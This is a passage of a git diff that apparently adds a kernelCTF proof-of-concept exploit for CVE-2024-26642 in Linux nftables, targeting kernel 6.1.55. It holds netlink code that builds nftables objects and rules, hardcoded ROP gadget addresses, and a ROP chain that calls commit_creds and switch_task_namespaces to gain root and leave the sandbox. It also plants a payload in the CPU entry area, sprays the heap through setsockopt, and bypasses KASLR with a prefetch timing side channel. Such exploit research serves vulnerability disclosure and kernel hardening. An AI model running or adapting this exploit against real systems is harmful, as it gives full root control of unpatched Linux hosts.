memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST + ); + //init msg + //create test1 + struct nl_msg *data = nlmsg_alloc(); + char *a = malloc(0x100); + memset(a,0x41,0x100); + + nla_put_u8(data, NFTA_CT_EXPECT_L4PROTO, 0x41); + nla_put_u16(data, NFTA_CT_EXPECT_DPORT, 0x4141); + nla_put_u32(data, NFTA_CT_EXPECT_TIMEOUT, 0x41414141); + nla_put_u8(data, NFTA_CT_EXPECT_SIZE, 0x41); + nla_put_nested(msg2, NFTA_OBJ_DATA, data); + nla_put_string(msg2, NFTA_OBJ_NAME, obj_name); + nla_put_u32(msg2, NFTA_OBJ_TYPE, htonl(NFT_OBJECT_CT_EXPECT)); + nla_put_string(msg2, NFTA_OBJ_TABLE, table_name); + if(udata>0) + nla_put(msg2, NFTA_OBJ_USERDATA, ulen, udata); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } + cur_handle++; +} + +void del_obj(struct nl_sock * socket, char *table_name, char *obj_name, uint32_t obj_type){ + + struct nl_msg * msg = nlmsg_alloc(); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_DELOBJ),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST + ); + //init msg + + nla_put_string(msg2, NFTA_OBJ_NAME, obj_name); + nla_put_u32(msg2, NFTA_OBJ_TYPE, htonl(obj_type)); + nla_put_string(msg2, NFTA_OBJ_TABLE, table_name); + + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } +} + diff --git a/pocs/linux/kernelctf/CVE-2024-26642_mitigation/exploit/mitigation-v3-6.1.55/poc.h b/pocs/linux/kernelctf/CVE-2024-26642_mitigation/exploit/mitigation-v3-6.1.55/poc.h new file mode 100644 index 00000000..82e8672e --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26642_mitigation/exploit/mitigation-v3-6.1.55/poc.h @@ -0,0 +1,641 @@ +#define _GNU_SOURCE +typedef unsigned char u8; +typedef unsigned short u16; +typedef unsigned int u32; +typedef unsigned long long u64; +typedef char i8; +typedef short i16; +typedef int i32; +typedef long long i64; + + +#define FAIL_IF(x) if ((x)) { \ + perror(#x); \ + return -1; \ +} +#define PANIC_IF(x) if ((x)) { \ + perror(#x); \ + exit(errno); \ +} +#define ARRAY_LEN(x) (sizeof(x) / sizeof(x[0])) + +inline static int _pin_to_cpu(int id) { + cpu_set_t set; + CPU_ZERO(&set); + CPU_SET(id, &set); + return sched_setaffinity(getpid(), sizeof(set), &set); +} + + + +// +// offsets +// + +// ffffffff81e09097: push rdi; jmp qword ptr [rsi+0xf]; 4c57ff660f +#define PUSH_RDI_JMP_RSI_0XF 0xffffffff81e09097 +// ffffffff8126df29: pop rsp; add rsp, 0x20; pop rbx; jmp __x86_return_thunk (0xffffffff82404c80); ret; 5c4883c4205be94c6d1901c3 +#define POP_RSP_ADD_RSP_0X20_POP_RBX_RET 0xffffffff8126df29 +// ffffffff81251258: pop rdx; jmp __x86_return_thunk (0xffffffff82404c80); ret; 5ae9223a1b01c3 +#define POP_RDX_RET 0xffffffff81251258 +// ffffffff818180b4: pop rbp; jmp __x86_return_thunk (0xffffffff82404c80); ret; 5de9c6cbbe00c3 +#define POP_RBP_RET 0xffffffff818180b4 +// ffffffff8102871c: pop rcx; jmp __x86_return_thunk (0xffffffff82404c80); ret; 59e95ec53d01c3 +#define POP_RCX_RET 0xffffffff8102871c +// ffffffff818344a5: push rax; jmp qword ptr [rcx]; 50ff21 +#define PUSH_RAX_JMP_RCX 0xffffffff818344a5 +// ffffffff81dadf48: pop rsp; jmp qword ptr [rsi+0xf]; 5cff660f +#define POP_RSP_JMP_RSI_0XF 0xffffffff81dadf48 +// ffffffff81bc9099: lea rax, [r12+rbp]; pop rbx; pop rbp; pop r12; pop r13; pop r14; jmp __x86_return_thunk (0xffffffff82404c80); ret; 498d042c5b5d415c415d415ee9d6bb8300c3 +#define LEA_RAX_R12_PLUS_RBP_POP5_RET 0xffffffff81bc9099 +// ffffffff812f9168: pop rdi; jmp __x86_return_thunk (0xffffffff82404c80); ret; 5fe912bb1001c3 +#define POP_RDI_RET 0xffffffff812f9168 +// ffffffff8124f56d: 48 89 c7 mov %rax,%rdi +// ffffffff8124f570: 48 89 3d d1 b9 23 03 mov %rdi,0x323b9d1(%rip) # ffffffff8448af48 <vmcoreinfo_data_safecopy> +// ffffffff8124f577: e9 04 57 1b 01 jmp ffffffff82404c80 <__x86_return_thunk> +#define MOV_RDI_RAX_RET 0xffffffff8124f56d +// ffffffff81bd1748: pop rsi; jmp __x86_return_thunk (0xffffffff82404c80); ret; 5ee932358300c3 +#define POP_RSI_RET 0xffffffff81bd1748 +// function trailer for nft_do_chain +#define NFT_DO_CHAIN_LEAVE 0xffffffff81e517eb +// we use this for the fast path to copy some data from the skb into RSI +#define NFT_PAYLOAD_FAST_OPS 0xffffffff82b27580 +#define FIND_TASK_BY_VPID 0xffffffff811bbe60 +#define SWITCH_TASK_NAMESPACES 0xffffffff811c3a30 +#define COMMIT_CREDS 0xffffffff811c55a0 +#define PREPARE_KERNEL_CRED 0xffffffff811c5840 +#define INIT_TASK 0xffffffff83815a40 +#define INIT_NSPROXY 0xffffffff83876720 +// ffffffff810ebbdd: add rsp, 0x88; jmp __x86_return_thunk (0xffffffff82404c80); ret; 4881c488000000e997903101c3 +#define ADD_RSP_0X88_RET 0xffffffff810ebbdd + + +// +// +// + +// just use side channels +int64_t bypass_kaslr(u64 base); + +// CPU entry area pointers. We prepare some memory here that will be referenced +// by the ROP chains. +// We need: +// - the struct nft_expr_ops { .eval } member +// - a pivot gadget to restore the stack +// - and a pointer to the nft_do_chain function trailer so that we jump to it. +#define CPU_ENTRY_AREA_BASE(cpu) (0xfffffe0000001000ull + (u64)cpu * 0x3b000) +#define PAYLOAD_LOCATION(cpu) (CPU_ENTRY_AREA_BASE(cpu) + 0x1f58) +#define MAIN_CPU 0 +#define HELPER_CPU 1 + +struct cpu_entry_area_payload { + union { + struct { + // function to call to evaluate the expression + u64 nft_expr_eval; + // stack pivot gadget to go back to normal execution + u64 pop_rsp_jmp_rsi_0xf; + // nft_do_chain jump target to restore execution + u64 nft_do_chain_leave; + }; + u64 regs[16]; + }; +}; + + +// Our payload which will reclaim the object in chain->{blob_gen_1,blob_gen_0} +// This is essentially a struct nft_rule_blob with a single rule +// This rule than has 4 expressions which will run our payload. +struct payload { + + // + // note that we omit a hole of ~60 bytes which is all zero + // + + // rule data (1 rule) + u64 is_last:1, dlen:12, handle:42; + + // We use this to setup the regs argument passed to our following fake_expr in RSI. + // Essentially these exprs will copy data from the packet into the regs. + // We need it for our stack pivot. + struct { + u64 fast_ops; + u8 base; + u8 offset; + u8 len; + u8 dreg; + u32 __padding; + } __attribute__((__packed__)) fast_exprs[3] __attribute__((aligned(__alignof__(u64))));; + + // Actual call into our rop chain + struct { + u64 fake_ops; + u64 rop_chain[128]; + } fake_expr; +}; + +static u32 rop_chain_rsi[6] = {}; +static struct payload payload = {}; + +void setup_registers(struct payload* payload, int64_t kernel_off) { + // this function sets up the part of the payload which sets up the nft_regs structure + // in nft_do_chain. + // essentially we copy a stack pivot gadget into them + // the payload will be copied directly from the packet we send to trigger the payload + + *(u64*)((u8*)rop_chain_rsi + 0xF) = kernel_off + POP_RSP_ADD_RSP_0X20_POP_RBX_RET; + const u32* regs = rop_chain_rsi; + int j = 0; + for (int i = 0; i < 6; i++) { + if (regs[i] == 0) { + continue; + } + + payload->fast_exprs[j].fast_ops = kernel_off + NFT_PAYLOAD_FAST_OPS; + payload->fast_exprs[j].base = NFT_PAYLOAD_NETWORK_HEADER; + // offset of our skb payload data + payload->fast_exprs[j].offset = 0x1c + i * 4; + payload->fast_exprs[j].len = 4; + payload->fast_exprs[j].dreg = i; + + j++; + } + + payload->is_last = 0; + payload->dlen = sizeof(struct payload) - offsetof(struct payload, fast_exprs); + payload->handle = 0xDEAD; +} + +void setup_rop_chain(struct payload* payload, int64_t kernel_off) { + payload->fake_expr.fake_ops = PAYLOAD_LOCATION(HELPER_CPU) + offsetof(struct cpu_entry_area_payload, nft_expr_eval); + + // top of stack points contains &payload->fake_expr + // we jump into this using this gadget: + // pop rsp; add rsp, 0x20; pop rbx; jmp __x86_return_thunk (0xffffffff82404c80); ret; + + u64* rop_chain = payload->fake_expr.rop_chain; + int i = 0x20 / 8; + + // had some issue with object boundaries. Lets get some more stack space .. + rop_chain[i++] = kernel_off + ADD_RSP_0X88_RET; + i += 0x88 / 8; + rop_chain[i++] = kernel_off + ADD_RSP_0X88_RET; + i += 0x88 / 8; + rop_chain[i++] = kernel_off + ADD_RSP_0X88_RET; + i += 0x88 / 8; + rop_chain[i++] = kernel_off + ADD_RSP_0X88_RET; + i += 0x88 / 8; + + rop_chain[i++] = kernel_off + POP_RDI_RET; + rop_chain[i++] = kernel_off + INIT_TASK; + rop_chain[i++] = kernel_off + PREPARE_KERNEL_CRED; + + rop_chain[i++] = kernel_off + MOV_RDI_RAX_RET; + rop_chain[i++] = kernel_off + COMMIT_CREDS; + + rop_chain[i++] = kernel_off + POP_RDI_RET; + rop_chain[i++] = 1; + rop_chain[i++] = kernel_off + FIND_TASK_BY_VPID; + + rop_chain[i++] = kernel_off + MOV_RDI_RAX_RET; + rop_chain[i++] = kernel_off + POP_RSI_RET; + rop_chain[i++] = kernel_off + INIT_NSPROXY; + rop_chain[i++] = kernel_off + SWITCH_TASK_NAMESPACES; + + // prepare to restore execution + // nft_do_chain: + // entry: + // sub 0x220 rsp + // lea r12, [rsp+0x48] + // exit: + // ffffffff81e517eb: 89 d0 mov %edx,%eax + rop_chain[i++] = kernel_off + POP_RBP_RET; + rop_chain[i++] = 0x220 - 0x48; + rop_chain[i++] = kernel_off + LEA_RAX_R12_PLUS_RBP_POP5_RET; + i += 5; + + // prepare the stack restore gadget + rop_chain[i++] = kernel_off + POP_RCX_RET; + rop_chain[i++] = PAYLOAD_LOCATION(HELPER_CPU) + offsetof(struct cpu_entry_area_payload, pop_rsp_jmp_rsi_0xf); + + // prepare the return jmp gadget + rop_chain[i++] = kernel_off + POP_RSI_RET; + rop_chain[i++] = PAYLOAD_LOCATION(HELPER_CPU) + offsetof(struct cpu_entry_area_payload, nft_do_chain_leave) - 0xf; + + // setup the return vaule + rop_chain[i++] = kernel_off + POP_RDX_RET; + rop_chain[i++] = NF_DROP; + + // actually restore execution + rop_chain[i++] = kernel_off + PUSH_RAX_JMP_RCX; +} + + +static void sig_handler(int s) {} + +static __attribute__((noreturn)) void write_cpu_entry_area(void* payload) { + asm volatile ( + "mov %0, %%rsp\n" + "pop %%r15\n" + "pop %%r14\n" + "pop %%r13\n" + "pop %%r12\n" + "pop %%rbp\n" + "pop %%rbx\n" + "pop %%r11\n" + "pop %%r10\n" + "pop %%r9\n" + "pop %%r8\n" + "pop %%rax\n" + "pop %%rcx\n" + "pop %%rdx\n" + "pop %%rsi\n" + "pop %%rdi\n" + "divq (0x1234000)\n" + "1:\n" + "jmp 1b\n" + : : "r"(payload) + ); + __builtin_unreachable(); +} + +// Fill the CPU entry area exception stack of HELPER_CPU with a +// struct cpu_entry_area_payload +static void setup_cpu_entry_area(int64_t kernel_off) { + if (fork()) { + return; + } + + struct cpu_entry_area_payload payload = {}; + payload.nft_expr_eval = kernel_off + PUSH_RDI_JMP_RSI_0XF; + payload.pop_rsp_jmp_rsi_0xf = kernel_off + POP_RSP_JMP_RSI_0XF; + payload.nft_do_chain_leave = kernel_off + NFT_DO_CHAIN_LEAVE; + + PANIC_IF(_pin_to_cpu(HELPER_CPU) < 0); + PANIC_IF(signal(SIGFPE, sig_handler) == SIG_ERR); + PANIC_IF(signal(SIGTRAP, sig_handler) == SIG_ERR); + PANIC_IF(signal(SIGSEGV, sig_handler) == SIG_ERR); + PANIC_IF(setsid() == -1); + + write_cpu_entry_area(&payload); +} + + +static void* payload_page = NULL; + +int spray_payload(int fd) { + struct ipt_replace replace = {}; + // into dyn-kmalloc-8k-cg please + replace.size = 0x1000 + 1; + // need this to make the allocation + replace.num_counters = 1; + + memcpy(payload_page, &replace, sizeof(replace)); + _Static_assert(sizeof(replace) + sizeof(payload) <= 0x1000, "payload does not fit into one page"); + memcpy(payload_page + sizeof(replace), &payload, sizeof(payload)); + + for (int i = 0; i < 8; i++) { + // this faults during the copy_from_user_call, immediately frees our payload again, + // but that is enough for us + if (setsockopt(fd, SOL_IP, IPT_SO_SET_REPLACE, payload_page, 0x1000 * 2) == 0 || errno != EFAULT) { + printf("spray payload: setsockopt(): unexpected error?\n"); + return -1; + } + } + + return 0; +} + + +int __netlink_send(int fd, const void* nlh, size_t size) { + struct iovec iov = { + .iov_base = (void*)nlh, + .iov_len = size, + }; + struct msghdr msg = { + .msg_name = NULL, + .msg_namelen = 0, + .msg_iov = &iov, + .msg_iovlen = 1, + .msg_control = NULL, + .msg_controllen = 0, + .msg_flags = 0, + }; + + if (sendmsg(fd, &msg, 0) < 0) { + perror("sendmsg()"); + return -1; + } + + return 0; +} + +int netlink_recv(int fd, void* nlh, size_t size) { + struct iovec iov = { + .iov_base = (void*)nlh, + .iov_len = 0, + }; + struct msghdr msg = { + .msg_name = NULL, + .msg_namelen = 0, + .msg_iov = NULL, + .msg_iovlen = 0, + .msg_control = NULL, + .msg_controllen = 0, + .msg_flags = MSG_TRUNC, + }; + + memset(nlh, 0, size); + iov.iov_len = recvmsg(fd, &msg, MSG_PEEK | MSG_TRUNC | MSG_DONTWAIT); + if ((ssize_t)iov.iov_len < 0) { + if (errno == EAGAIN) { + return 0; + } + + perror("recvmsg()"); + return -1; + } + if (iov.iov_len > size) { + fprintf(stderr, "message too large: %zu > %zu\n", iov.iov_len, size); + return -1; + } + + msg.msg_iov = &iov; + msg.msg_iovlen = 1; + return recvmsg(fd, &msg, 0); +} + +int netlink_errno(const struct nlmsghdr* nlh) { + if (nlh->nlmsg_len == 0) { + return 0; + } + if (nlh->nlmsg_type != NLMSG_ERROR) { + fprintf(stderr, "warning: not a netlink error message: %hu\n", nlh->nlmsg_type); + return 0; + } + struct nlmsgerr* e = NLMSG_DATA(nlh); + if (e->error != 0) { + errno = -e->error; + } + + return e->error; +} + +int netlink_open(int proto) { + struct sockaddr_nl addr = {0}; + addr.nl_family = AF_NETLINK; + + int s = socket(AF_NETLINK, SOCK_RAW, proto); + if (s < 0) { + perror("socket()"); + return s; + } + if (bind(s, (struct sockaddr*)&addr, sizeof(addr)) == -1) { + perror("bind()"); + return -1; + } + + return s; +} + +static inline int netlink_send(int fd, const struct nlmsghdr* nlh) { + return __netlink_send(fd, nlh, nlh->nlmsg_len); +} + +int ip_link_set_flags(int s, int ifindex, unsigned int ifi_flags) { + u8 buf[1024] = {0}; + struct nlmsghdr* nlh = (void*)buf; + + struct ifinfomsg* data = NLMSG_DATA(nlh); + nlh->nlmsg_len = sizeof(*data) + NLMSG_HDRLEN; + nlh->nlmsg_type = RTM_NEWLINK; + nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; + nlh->nlmsg_seq = 0; + nlh->nlmsg_pid = 0; + + data->ifi_family = PF_UNSPEC; + data->ifi_type = 0; + data->ifi_index = ifindex; + data->ifi_flags = ifi_flags;// IFF_UP; + data->ifi_change = 1; + + FAIL_IF(netlink_send(s, nlh) < 0); + FAIL_IF(netlink_recv(s, nlh, sizeof(buf)) < 0); + FAIL_IF(netlink_errno(nlh) != 0); + return 0; +} + + +void sandbox() { + //PANIC_IF(_pin_to_cpu(MAIN_CPU) < 0); + PANIC_IF(unshare(CLONE_NEWUSER | CLONE_NEWNET)); + + int s; + PANIC_IF((s = netlink_open(NETLINK_ROUTE)) < 0); + PANIC_IF(ip_link_set_flags(s, 1 /* if_nametoindex("lo") */, IFF_UP)); + close(s); +} + +// KASLR bypass +// +// This code is adapted from https://github.com/IAIK/prefetch/blob/master/cacheutils.h +// +inline __attribute__((always_inline)) uint64_t rdtsc_begin() { + uint64_t a, d; + asm volatile ("mfence\n\t" + "RDTSCP\n\t" + "mov %%rdx, %0\n\t" + "mov %%rax, %1\n\t" + "xor %%rax, %%rax\n\t" + "lfence\n\t" + : "=r" (d), "=r" (a) + : + : "%rax", "%rbx", "%rcx", "%rdx"); + a = (d<<32) | a; + return a; +} + +inline __attribute__((always_inline)) uint64_t rdtsc_end() { + uint64_t a, d; + asm volatile( + "xor %%rax, %%rax\n\t" + "lfence\n\t" + "RDTSCP\n\t" + "mov %%rdx, %0\n\t" + "mov %%rax, %1\n\t" + "mfence\n\t" + : "=r" (d), "=r" (a) + : + : "%rax", "%rbx", "%rcx", "%rdx"); + a = (d<<32) | a; + return a; +} + + +void prefetch(void* p) +{ + asm volatile ( + "prefetchnta (%0)\n" + "prefetcht2 (%0)\n" + : : "r" (p)); +} + +size_t flushandreload(void* addr) // row miss +{ + size_t time = rdtsc_begin(); + prefetch(addr); + size_t delta = rdtsc_end() - time; + return delta; +} + +int64_t bypass_kaslr(u64 base) { + if (!base) { + #ifdef KASLR_BYPASS_INTEL + #define OFFSET 0 + #define START (0xffffffff81000000ull + OFFSET) + #define END (0xffffffffD0000000ull + OFFSET) + #define STEP 0x0000000001000000ull + while (1) { + u64 bases[7] = {0}; + for (int vote = 0; vote < ARRAY_LEN(bases); vote ++) { + size_t times[(END - START) / STEP] = {}; + uint64_t addrs[(END - START) / STEP]; + + for (int ti = 0; ti < ARRAY_LEN(times); ti++) { + times[ti] = ~0; + addrs[ti] = START + STEP * (u64)ti; + } + + for (int i = 0; i < 16; i++) { + for (int ti = 0; ti < ARRAY_LEN(times); ti++) { + u64 addr = addrs[ti]; + size_t t = flushandreload((void*)addr); + if (t < times[ti]) { + times[ti] = t; + } + } + } + + size_t minv = ~0; + size_t mini = -1; + for (int ti = 0; ti < ARRAY_LEN(times) - 1; ti++) { + if (times[ti] < minv) { + mini = ti; + minv = times[ti]; + } + } + + if (mini < 0) { + return -1; + } + + bases[vote] = addrs[mini]; + } + + int c = 0; + for (int i = 0; i < ARRAY_LEN(bases); i++) { + if (c == 0) { + base = bases[i]; + } else if (base == bases[i]) { + c++; + } else { + c--; + } + } + + c = 0; + for (int i = 0; i < ARRAY_LEN(bases); i++) { + if (base == bases[i]) { + c++; + } + } + if (c > ARRAY_LEN(bases) / 2) { + base -= OFFSET; + goto got_base; + } + + printf("majority vote failed:\n"); + printf("base = %llx with %d votes\n", base, c); + } + #else + #define START (0xffffffff81000000ull) + #define END (0xffffffffc0000000ull) + #define STEP 0x0000000000200000ull + #define NUM_TRIALS 7 + // largest contiguous mapped area at the beginning of _stext + #define WINDOW_SIZE 11 + + while (1) { + u64 bases[NUM_TRIALS] = {0}; + + for (int vote = 0; vote < ARRAY_LEN(bases); vote ++) { + size_t times[(END - START) / STEP] = {}; + uint64_t addrs[(END - START) / STEP]; + + for (int ti = 0; ti < ARRAY_LEN(times); ti++) { + times[ti] = ~0; + addrs[ti] = START + STEP * (u64)ti; + } + + for (int i = 0; i < 16; i++) { + for (int ti = 0; ti < ARRAY_LEN(times); ti++) { + u64 addr = addrs[ti]; + size_t t = flushandreload((void*)addr); + if (t < times[ti]) { + times[ti] = t; + } + } + } + + uint64_t max = 0; + int max_i = 0; + for (int ti = 0; ti < ARRAY_LEN(times) - WINDOW_SIZE; ti++) { + uint64_t sum = 0; + for (int i = 0; i < WINDOW_SIZE; i++) { + sum += times[ti + i]; + } + if (sum > max) { + max = sum; + max_i = ti; + } + } + + bases[vote] = addrs[max_i]; + } + + int c = 0; + for (int i = 0; i < ARRAY_LEN(bases); i++) { + if (c == 0) { + base = bases[i]; + } else if (base == bases[i]) { + c++; + } else { + c--; + } + } + + c = 0; + for (int i = 0; i < ARRAY_LEN(bases); i++) { + if (base == bases[i]) { + c++; + } + } + if (c > ARRAY_LEN(bases) / 2) { + goto got_base; + } + + printf("majority vote failed:\n"); + printf("base = %llx with %d votes\n", base, c); + } + #endif + } + +got_base: + printf("using kernel base %llx\n", base); + + i64 off = base - 0xffffffff81000000; + printf("kernel off: %lld\n", off); + + return off; + +} diff --git a/pocs/linux/kernelctf/CVE-2024-26642_mitigation/exploit/mitigation-v3-6.1.55/rop.h b/pocs/linux/kernelctf/CVE-2024-26642_mitigation/exploit/mitigation-v3-6.1.55/rop.h new file mode 100644 index 00000000..575ec9cc --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26642_mitigation/exploit/mitigation-v3-6.1.55/rop.h @@ -0,0 +1,15 @@ +#define NFT_CT_EXPECT_OBJ_OPS 0xFFFFFFFF82ACB840 +#define LEAVE_RET 0xFFFFFFFF81519693 +#define NFT_LAST_TYEP 0xFFFFFFFF8371BF00 +#define POP_RDI_RET 0xffffffff81081910 +#define INIT_CRED 0xFFFFFFFF83462180 +#define COMMIT_CREDS 0xFFFFFFFF8110E830 +#define POP_RDI_POP_R14_POP_R13_POP_R12_POP_RBP_POP_RBX_RET 0xffffffff81068153 +#define FIND_TASK_BY_VPID 0xFFFFFFFF81105680 +#define POP_RBP_POP_RBX_RET 0xFFFFFFFF8106815A +#define MOV_RDI_RAX_MOV_EAX_EBX_POP_RBX_OR_RAX_RDI_RET 0xffffffff8102c701 +#define POP_RSI_RET 0xFFFFFFFF817E4E5E +#define INIT_NSPROXY 0xFFFFFFFF83461F40 +#define SWITCH_TASK_NAMESPACES 0xFFFFFFFF8110CE30 +#define SWAPGS_RET 0xFFFFFFFF82002117 +#define IRETQ 0xFFFFFFFF822011A7 diff --git a/pocs/linux/kernelctf/CVE-2024-26642_mitigation/exploit/mitigation-v3-6.1.55/rule.h b/pocs/linux/kernelctf/CVE-2024-26642_mitigation/exploit/mitigation-v3-6.1.55/rule.h new file mode 100644 index 00000000..da91a505 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26642_mitigation/exploit/mitigation-v3-6.1.55/rule.h @@ -0,0 +1,157 @@ +extern int cur_handle; +#define htonll(x) ((1==htonl(1)) ? (x) : ((uint64_t)htonl((x) & 0xFFFFFFFF) << 32) | htonl((x) >> 32)) + + + +struct nlmsghdr * new_rule_lookup_for_chain_msg(char *table_name, char *chain_name, char *set_name, int if_dreg){ + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWRULE),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * exprs = nlmsg_alloc(); + struct nl_msg *data_nest = nlmsg_alloc(); + struct nl_msg *expr_data = nlmsg_alloc(); + + char *a = malloc(0x100); + memset(a,0x41,0x100); + if(if_dreg) + nla_put_u32(expr_data, NFTA_LOOKUP_DREG, htonl(NFT_REG_2)); + nla_put_string(expr_data, NFTA_LOOKUP_SET, set_name); + nla_put_u32(expr_data, NFTA_LOOKUP_SREG, htonl(NFT_REG_1)); + nla_put_string(data_nest, NFTA_EXPR_NAME, "lookup"); + nla_put_nested(data_nest, NFTA_EXPR_DATA, expr_data); + + nla_put_nested(exprs, NFTA_LIST_ELEM, data_nest); + nla_put_string(msg2, NFTA_RULE_TABLE, table_name); + nla_put_string(msg2, NFTA_RULE_CHAIN, chain_name); + nla_put_nested(msg2, NFTA_RULE_EXPRESSIONS, exprs); + cur_handle++; + return hdr2; +} + +void new_rule_immediate(struct nl_sock * socket, char *table_name, char *chain_name, uint32_t code, char *target_chain){ + struct nl_msg * msg = nlmsg_alloc(); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2;//NFPROTO_IPV4; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWRULE),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST + ); + struct nl_msg * exprs = nlmsg_alloc(); + struct nl_msg *data_nest = nlmsg_alloc(); + struct nl_msg *expr_data = nlmsg_alloc(); + struct nl_msg *data = nlmsg_alloc(); + struct nl_msg *data_verdict = nlmsg_alloc(); + + + nla_put_u32(data_verdict, NFTA_VERDICT_CODE, htonl(code)); + if(code==NFT_JUMP) + nla_put_string(data_verdict, NFTA_VERDICT_CHAIN, target_chain); + nla_put_nested(data, NFTA_DATA_VERDICT, data_verdict); + + nla_put_u32(expr_data, NFTA_IMMEDIATE_DREG, htonl(NFT_REG_VERDICT)); + nla_put_nested(expr_data, NFTA_IMMEDIATE_DATA, data); + + nla_put_string(data_nest, NFTA_EXPR_NAME, "immediate"); + nla_put_nested(data_nest, NFTA_EXPR_DATA, expr_data); + + nla_put_nested(exprs, NFTA_LIST_ELEM, data_nest); + nla_put_string(msg2, NFTA_RULE_TABLE, table_name); + nla_put_string(msg2, NFTA_RULE_CHAIN, chain_name); + nla_put_nested(msg2, NFTA_RULE_EXPRESSIONS, exprs); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + 